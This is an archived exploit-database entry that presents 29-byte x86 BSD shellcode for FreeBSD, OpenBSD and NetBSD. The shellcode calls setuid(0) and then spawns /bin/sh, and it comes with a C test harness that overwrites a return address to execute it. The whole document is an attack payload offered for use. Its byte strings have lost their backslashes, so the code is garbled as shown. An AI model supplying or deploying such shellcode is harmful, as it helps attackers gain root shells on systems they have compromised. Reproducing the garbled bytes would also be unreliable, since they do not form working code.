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# Title : bsd/x86 execve /bin/sh setuid (0) 29 bytes
# Published : 2004-09-26
# Author : Matias Sedalo
# Previous Title : bsd/x86 execve /bin/sh multiplatform 27 bytes
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/*
*BSD version
FreeBSD, OpenBSD, NetBSD.
s0t4ipv6@shellcode.com.ar
29 bytes.
-setuid(0);
-execve(/bin/sh);
*/
char shellcode[]=
"x31xc0" // xor %eax,%eax
"x50" // push %eax
"xb0x17" // mov $0x17,%al
"x50" // push %eax
"xcdx80" // int $0x80
"x50" // push %eax
"x68x6ex2fx73x68" // push $0x68732f6e
"x68x2fx2fx62x69" // push $0x69622f2f
"x89xe3" // mov %esp,%ebx
"x50" // push %eax
"x54" // push %esp
"x53" // push %ebx
"x50" // push %eax
"xb0x3b" // mov $0x3b,%al
"xcdx80"; // int $0x80
main()
{
int *ret;
printf("Shellcode lenght=%dn",sizeof(shellcode));
ret=(int*)&ret+2;
(*ret)=(int)shellcode;
}
// www.Syue.com [2004-09-26]